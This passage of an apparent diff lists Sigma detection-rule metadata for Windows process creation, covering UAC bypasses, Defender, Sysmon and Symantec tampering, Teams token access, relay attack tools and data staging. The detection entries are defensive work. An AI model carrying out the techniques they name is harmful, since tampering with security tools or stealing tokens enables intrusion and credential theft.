"FPT.EagleEye Team", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious Windows Update Agent activity in which a wuauclt.exe process command line doesn't contain any command line flags", - "uuid": "52d097e2-063e-4c9c-8fbb-855c8948d135", - "value": "Suspicious Windows Update Agent Empty Cmdline", - "meta": { - "refs": [ - "https://redcanary.com/blog/blackbyte-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wuauclt_cmdline.yml" - ], - "tags": "No established tags", - "creation_date": "2022/02/26", - "filename": "proc_creation_win_susp_wuauclt_cmdline.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file.", - "uuid": "90dcf730-1b71-4ae7-9ffc-6fcf62bd0132", - "value": "Suspicious ZipExec Execution", - "meta": { - "refs": [ - "https://twitter.com/SBousseaden/status/1451237393017839616", - "https://github.com/Tylous/ZipExec", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_zipexec.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218", - "attack.t1202" - ], - "creation_date": "2021/11/07", - "filename": "proc_creation_win_susp_zipexec.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", - "uuid": "85a8e5ba-bd03-4bfb-bbfa-a4409a8f8b98", - "value": "Zip A Folder With PowerShell For Staging In Temp", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_zip_compress.yml" - ], - "tags": [ - "attack.collection", - "attack.t1074.001" - ], - "creation_date": "2021/07/20", - "filename": "proc_creation_win_susp_zip_compress.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Threat actors can use auditpol binary to change audit policy configuration to impair detection capability.\nThis can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.\n", - "uuid": "0a13e132-651d-11eb-ae93-0242ac130002", - "value": "Suspicious Auditpol Usage", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sus_auditpol_usage.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ], - "creation_date": "2021/02/02", - "filename": "proc_creation_win_sus_auditpol_usage.yml", - "author": "Janantha Marasinghe (https://github.com/blueteam0ps)", - "level": "high", - "falsepositive": [ - "Admin activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the usage of Sysinternals Tools due to accepteula option being seen in the command line.", - "uuid": "7cccd811-7ae9-4ebe-9afd-cb5c406b824b", - "value": "Usage of Sysinternals Tools", - "meta": { - "refs": [ - "https://twitter.com/Moti_B/status/1008587936735035392", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_eula_accepted.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1588.002" - ], - "creation_date": "2017/08/28", - "filename": "proc_creation_win_sysinternals_eula_accepted.yml", - "author": "Markus Neis", - "level": "low", - "falsepositive": [ - "Legitimate use of SysInternals tools", - "Programs that use the same Registry Key" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of Sysinternals PsService for service reconnaissance or tamper", - "uuid": "3371f518-5fe3-4cf6-a14b-2a0ae3fd8a4f", - "value": "Use of Sysinternals PsService", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/psservice", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psservice.yml" - ], - "tags": [ - "attack.discovery", - "attack.persistence", - "attack.t1543.003" - ], - "creation_date": "2022/06/16", - "filename": "proc_creation_win_sysinternals_psservice.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate use of PsService by an administrator" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of SharpEvtHook, a tool to tamper with Windows event logs", - "uuid": "bedfc8ad-d1c7-4e37-a20e-e2b0dbee759c", - "value": "SharpEvtMute EvtMuteHook Load", - "meta": { - "refs": [ - "https://github.com/bats3c/EvtMute", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_disable_sharpevtmute.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ], - "creation_date": "2022/09/07", - "filename": "proc_creation_win_sysmon_disable_sharpevtmute.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect possible Sysmon driver unload", - "uuid": "4d7cda18-1b12-4e52-b45c-d28653210df8", - "value": "Sysmon Driver Unload", - "meta": { - "refs": [ - "https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_driver_unload.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070", - "attack.t1562", - "attack.t1562.002" - ], - "creation_date": "2019/10/23", - "filename": "proc_creation_win_sysmon_driver_unload.yml", - "author": "Kirill Kiryanov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious process executions in which Sysmon itself is the parent of a process, which could be a sign of exploitation (e.g. CVE-2022-41120)", - "uuid": "6d1058a4-407e-4f3a-a144-1968c11dc5c3", - "value": "Suspicious Sysmon as Execution Parent", - "meta": { - "refs": [ - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41120", - "https://twitter.com/filip_dragovic/status/1590052248260055041", - "https://twitter.com/filip_dragovic/status/1590104354727436290", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_exploitation.yml" - ], - "tags": "No established tags", - "creation_date": "2022/11/10", - "filename": "proc_creation_win_sysmon_exploitation.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects UAC bypass method using Windows event viewer", - "uuid": "be344333-921d-4c4d-8bb8-e584cf584780", - "value": "UAC Bypass via Event Viewer", - "meta": { - "refs": [ - "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", - "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_uac_bypass_eventvwr.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002", - "car.2019-04-001" - ], - "creation_date": "2017/03/19", - "filename": "proc_creation_win_sysmon_uac_bypass_eventvwr.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns)", - "uuid": "3c1b5fb0-c72f-45ba-abd1-4d4c353144ab", - "value": "Process Creation Using Sysnative Folder", - "meta": { - "refs": [ - "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysnative.yml" - ], - "tags": [ - "attack.t1055" - ], - "creation_date": "2022/08/23", - "filename": "proc_creation_win_sysnative.yml", - "author": "Max Altgelt", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a Windows program executable started from a suspicious folder", - "uuid": "e4a6b256-3e47-40fc-89d2-7a477edd6915", - "value": "System File Execution Location Anomaly", - "meta": { - "refs": [ - "https://twitter.com/GelosSnake/status/934900723426439170", - "https://asec.ahnlab.com/en/39828/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_system_exe_anomaly.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ], - "creation_date": "2017/11/27", - "filename": "proc_creation_win_system_exe_anomaly.yml", - "author": "Florian Roth, Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Exotic software" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects attempts to remove windows defender configuration using the 'MpPreference' cmdlet", - "uuid": "07e3cb2c-0608-410d-be4b-1511cb1a0448", - "value": "Tamper Windows Defender Remove-MpPreference", - "meta": { - "refs": [ - "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tamper_defender_remove_mppreference.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/08/05", - "filename": "proc_creation_win_tamper_defender_remove_mppreference.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunneling techniques", - "uuid": "99793437-3e16-439b-be0f-078782cf953d", - "value": "Tap Installer Execution", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tap_installer_execution.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_tap_installer_execution.yml", - "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate OpenVPN TAP insntallation" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects one of the possible scenarios for disabling symantec endpoint protection.\nSymantec Endpoint Protection antivirus software services incorrectly implement the protected service mechanism.\nAs a result, the NT AUTHORITY/SYSTEM user can execute the taskkill /im command several times ccSvcHst.exe /f, thereby killing the process belonging to the service, and thus shutting down the service.\n", - "uuid": "4a6713f6-3331-11ed-a261-0242ac120002", - "value": "Taskkill Symantec Endpoint Protection", - "meta": { - "refs": [ - "https://www.exploit-db.com/exploits/37525", - "https://community.spiceworks.com/topic/2195015-batch-script-to-uninstall-symantec-endpoint-protection", - "https://community.broadcom.com/symantecenterprise/communities/community-home/digestviewer/viewthread?MessageKey=6ce94b67-74e1-4333-b16f-000b7fd874f0&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=digestviewer", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskkill_sep.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/09/13", - "filename": "proc_creation_win_taskkill_sep.yml", - "author": "Ilya Krestinichev, Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "The Tasks folder in system32 and syswow64 are globally writable paths.\nAdversaries can take advantage of this and load or influence any script hosts or ANY .NET Application \nin Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr\n", - "uuid": "cc4e02ba-9c06-48e2-b09e-2500cace9ae0", - "value": "Tasks Folder Evasion", - "meta": { - "refs": [ - "https://twitter.com/subTee/status/1216465628946563073", - "https://gist.github.com/am0nsec/8378da08f848424e4ab0cc5b317fdd26", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_task_folder_evasion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.execution", - "attack.t1574.002" - ], - "creation_date": "2020/01/13", - "filename": "proc_creation_win_task_folder_evasion.yml", - "author": "Sreeman", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", - "uuid": "d2eb17db-1d39-41dc-b57f-301f6512fa75", - "value": "Suspicious Command With Teams Objects Pathes", - "meta": { - "refs": [ - "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", - "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_teams_suspicious_command_line_cred_access.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1528" - ], - "creation_date": "2022/09/16", - "filename": "proc_creation_win_teams_suspicious_command_line_cred_access.yml", - "author": "@SerkinValery", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708)", - "uuid": "1012f107-b8f1-4271-af30-5aed2de89b39", - "value": "Terminal Service Process Spawn", - "meta": { - "refs": [ - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_termserv_proc_spawn.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.lateral_movement", - "attack.t1210", - "car.2013-07-002" - ], - "creation_date": "2019/05/22", - "filename": "proc_creation_win_termserv_proc_spawn.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects different hacktools used for relay attacks on Windows for privilege escalation", - "uuid": "5589ab4f-a767-433c-961d-c91f3f704db1", - "value": "SMB Relay Attack Tools", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1557/001/", - "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", - "https://pentestlab.blog/2017/04/13/hot-potato/", - "https://github.com/ohpe/juicy-potato", - "https://hunter2.gitbook.io/darthsidious/other/war-stories/domain-admin-in-30-minutes", - "https://hunter2.gitbook.io/darthsidious/execution/responder-with-ntlm-relay-and-empire", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tools_relay_attacks.yml" - ], - "tags": [ - "attack.execution", - "attack.t1557.001" - ], - "creation_date": "2021/07/24", - "filename": "proc_creation_win_tools_relay_attacks.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Legitimate files with these rare hacktool names" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects tools such as UACMe used to bypass UAC with computerdefaults.exe (UACMe 59)", - "uuid": "3c05e90d-7eba-4324-9972-5d7f711a60a8", - "value": "UAC Bypass Tools Using ComputerDefaults", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tools_uac_bypass_computerdefaults.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/31", - "filename": "proc_creation_win_tools_uac_bypass_computerdefaults.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of NirCmd tool for command execution, which could be the result of legitimate administrative activity", - "uuid": "4e2ed651-1906-4a59-a78a-18220fca1b22", - "value": "NirCmd Tool Execution", - "meta": { - "refs": [ - "https://www.nirsoft.net/utils/nircmd.html", - "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", - "https://www.nirsoft.net/utils/nircmd2.html#using", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nircmd.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ], - "creation_date": "2022/01/24", - "filename": "proc_creation_win_tool_nircmd.yml", - "author": "Florian Roth, Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate use by administrators" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of NirCmd tool for command execution as SYSTEM user", - "uuid": "d9047477-0359-48c9-b8c7-792cedcdc9c4", - "value": "NirCmd Tool Execution As LOCAL SYSTEM", - "meta": { - "refs": [ - "https://www.nirsoft.net/utils/nircmd.html", - "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", - "https://www.nirsoft.net/utils/nircmd2.html#using", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nircmd_as_system.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ], - "creation_date": "2022/01/24", - "filename": "proc_creation_win_tool_nircmd_as_system.yml", - "author": "Florian Roth, Nasreddine Bencherchali @nas_bench", - "level": "high", - "falsepositive": [ - "Legitimate use by administrators" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of NSudo tool for command execution", - "uuid": "771d1eb5-9587-4568-95fb-9ec44153a012", - "value": "NSudo Tool Execution", - "meta": { - "refs": [ - "https://nsudo.m2team.org/en-us/", - "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nsudo_execution.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ], - "creation_date": "2022/01/24", - "filename": "proc_creation_win_tool_nsudo_execution.yml", - "author": "Florian Roth, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitimate use by administrators" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects PsExec service execution via default service image name", - "uuid": "fa91cc36-24c9-41ce-b3c8-3bbc3f2f67ba", - "value": "PsExec Tool Execution", - "meta": { - "refs": [ - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", - "https://jpcertcc.github.io/ToolAnalysisResultSheet", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_psexec.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ], - "creation_date": "2017/06/12", - "filename": "proc_creation_win_tool_psexec.yml", - "author": "Thomas Patzke", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of RunXCmd tool for command execution", - "uuid": "93199800-b52a-4dec-b762-75212c196542", - "value": "RunXCmd Tool Execution As System", - "meta": { - "refs": [ - "https://www.d7xtech.com/free-software/runx/", - "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_runx_as_system.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ], - "creation_date": "2022/01/24", - "filename": "proc_creation_win_tool_runx_as_system.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use by administrators" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Tor or Tor-Browser to connect to onion routing networks", - "uuid": "62f7c9bf-9135-49b2-8aeb-1e54a6ecc13c", - "value": "Tor Client or Tor Browser Use", - "meta": { - "refs": [ - "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tor_browser.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1090.003" - ], - "creation_date": "2022/02/20", - "filename": "proc_creation_win_tor_browser.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect use of TruffleSnout.exe", - "uuid": "69ca006d-b9a9-47f5-80ff-ecd4d25d481a", - "value": "Launch TruffleSnout Executable", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1482/T1482.md", - "https://github.com/dsnezhkov/TruffleSnout", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_trufflesnout.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1482" - ], - "creation_date": "2022/08/20", - "filename": "proc_creation_win_trufflesnout.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Identifies execution of nltest.exe and dsquery.exe for domain trust discovery. This technique is used by attackers to enumerate Active Directory trusts.", - "uuid": "3bad990e-4848-4a78-9530-b427d854aac0", - "value": "Domain Trust Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1482/T1482.md", - "https://eqllib.readthedocs.io/en/latest/analytics/03e231a6-74bc-467a-acb1-e5676b0fb55e.html", - "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", - "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", - "https://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_trust_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1482" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_trust_discovery.yml", - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community, omkar72", - "level": "medium", - "falsepositive": [ - "Legitimate use of the utilities by legitimate user for legitimate reason" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61)", - "uuid": "503d581c-7df0-4bbe-b9be-5840c0ecc1fc", - "value": "UAC Bypass Using ChangePK and SLUI", - "meta": { - "refs": [ - "https://mattharr0ey.medium.com/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b", - "https://github.com/hfiref0x/UACME", - "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_changepk_slui.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/23", - "filename": "proc_creation_win_uac_bypass_changepk_slui.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using scheduled tasks and variable expansion of cleanmgr.exe (UACMe 34)", - "uuid": "b697e69c-746f-4a86-9f59-7bfff8eab881", - "value": "UAC Bypass Using Disk Cleanup", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cleanmgr.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/30", - "filename": "proc_creation_win_uac_bypass_cleanmgr.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect commandline usage of Microsoft Connection Manager Profile Installer (cmstp.exe) to install specially formatted local .INF files", - "uuid": "e66779cc-383e-4224-a3a4-267eeb585c40", - "value": "Bypass UAC via CMSTP", - "meta": { - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/e584f1a1-c303-4885-8a66-21360c90995b.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.003/T1218.003.md", - "https://lolbas-project.github.io/lolbas/Binaries/Cmstp/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1548.002", - "attack.t1218.003" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_uac_bypass_cmstp.yml", - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "level": "high", - "falsepositive": [ - "Legitimate use of cmstp.exe utility by legitimate user" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)", - "uuid": "1ca6bd18-0ba0-44ca-851c-92ed89a61085", - "value": "UAC Bypass Using Consent and Comctl32 - Process", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_consent_comctl32.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/23", - "filename": "proc_creation_win_uac_bypass_consent_comctl32.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using DismHost DLL hijacking (UACMe 63)", - "uuid": "853e74f9-9392-4935-ad3b-2e8c040dae86", - "value": "UAC Bypass Using DismHost", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_dismhost.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/30", - "filename": "proc_creation_win_uac_bypass_dismhost.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Identifies use of Fodhelper.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes.", - "uuid": "7f741dcf-fc22-4759-87b4-9ae8376676a2", - "value": "Bypass UAC via Fodhelper.exe", - "meta": { - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/e491ce22-792f-11e9-8f5c-d46d6d62a49e.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_fodhelper.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_uac_bypass_fodhelper.yml", - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", - "level": "high", - "falsepositive": [ - "Legitimate use of fodhelper.exe utility by legitimate user" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in", - "uuid": "e52cb31c-10ed-4aea-bcb7-593c9f4a315b", - "value": "UAC Bypass via Windows Firewall Snap-In Hijack", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/uac-bypass-via-windows-firewall-snap-in-hijack.html#uac-bypass-via-windows-firewall-snap-in-hijack", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_hijacking_firwall_snap_in.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548" - ], - "creation_date": "2022/09/27", - "filename": "proc_creation_win_uac_bypass_hijacking_firwall_snap_in.yml", - "author": "Tim Rauch", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using ICMLuaUtil Elevated COM interface", - "uuid": "49f2f17b-b4c8-4172-a68b-d5bf95d05130", - "value": "UAC Bypass via ICMLuaUtil", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/uac-bypass-via-icmluautil-elevated-com-interface.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_icmluautil.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2022/09/13", - "filename": "proc_creation_win_uac_bypass_icmluautil.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the \"IDiagnosticProfileUAC\" UAC bypass technique", - "uuid": "4cbef972-f347-4170-b62a-8253f6168e6d", - "value": "UAC Bypass Using IDiagnostic Profile", - "meta": { - "refs": [ - 